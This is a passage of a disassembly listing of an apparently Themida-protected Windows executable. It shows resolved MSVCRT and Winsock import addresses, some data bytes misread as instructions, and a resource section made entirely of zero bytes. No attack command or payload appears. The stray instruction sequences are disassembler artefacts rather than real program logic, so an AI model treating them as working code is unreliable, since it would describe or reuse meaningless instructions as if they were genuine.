dword_511918 dd 28C04C7h ; sub_420630:loc_42067Cr ...
dd 1Ah dup(0)
dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0)
dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0 dd 760AC190h dd 0Dh dup(0)
; ---------------------------------------------------------------------------
xchg eax, esp
pop esp
retn
; ---------------------------------------------------------------------------
ja short loc_511A99
push ebx
retn
; ---------------------------------------------------------------------------
db 77h
db 0DBh ; Ϋ
db 0F1h ; ρ
db 0C1h ; Α
db 77h ; w
; ---------------------------------------------------------------------------
loc_511A24: ; CODE XREF: ___:00511A34j
movsb
icebp
sal dword ptr [edi-28h], 23h
mov byte ptr [edi+75h], 0D6h
les esi, [edi+67h]
popf
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
jmp short loc_511A24
; ---------------------------------------------------------------------------
sal dword ptr [edi-54h], 17h
mov byte ptr [edi-52h], 2Dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
dd 77C4186Ah
dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ...
dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h
dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
db 72h
; ---------------------------------------------------------------------------
loc_511A99: ; CODE XREF: ___:00511A1Bj
sbb eax, esp
; ---------------------------------------------------------------------------
db 77h
dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ...
dd 77C371BCh
dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ...
dd 77C2C407h
dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r
dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ...
db 90h
db 0CFh, 0C1h, 77h
dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
mul byte ptr [esi]
retn 0E777h
; ---------------------------------------------------------------------------
db 14h, 0C2h, 77h
dd 77C29CC5h
dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr
dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ...
dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr
dd 77C29CDDh, 77C293C7h
dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ...
dd 77C35F0Dh
dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h
dd 77C46320h
dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 28D0000h
off_511C00 dd offset sub_5F76F7 ; DATA XREF: ___:00419FBDr
; sub_41A050+2Dr ...
dd 0Bh dup(0)
dd 71AB951Eh, 71AB3E00h
dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ...
dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h
dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h
dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh, 71AB4FD4h
dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h
dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ...
dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ...
dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ...
dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ...
dd 71AB2BF4h
dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r
dd 71ABE479h, 11h dup(0)
dd 76D6AC1Dh, 4C1h dup(0)
___ ends
; Section 2. (virtual address 00113000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00113000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 513000h
unk_513000 db 0 ; DATA XREF: Themida_:00582500o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
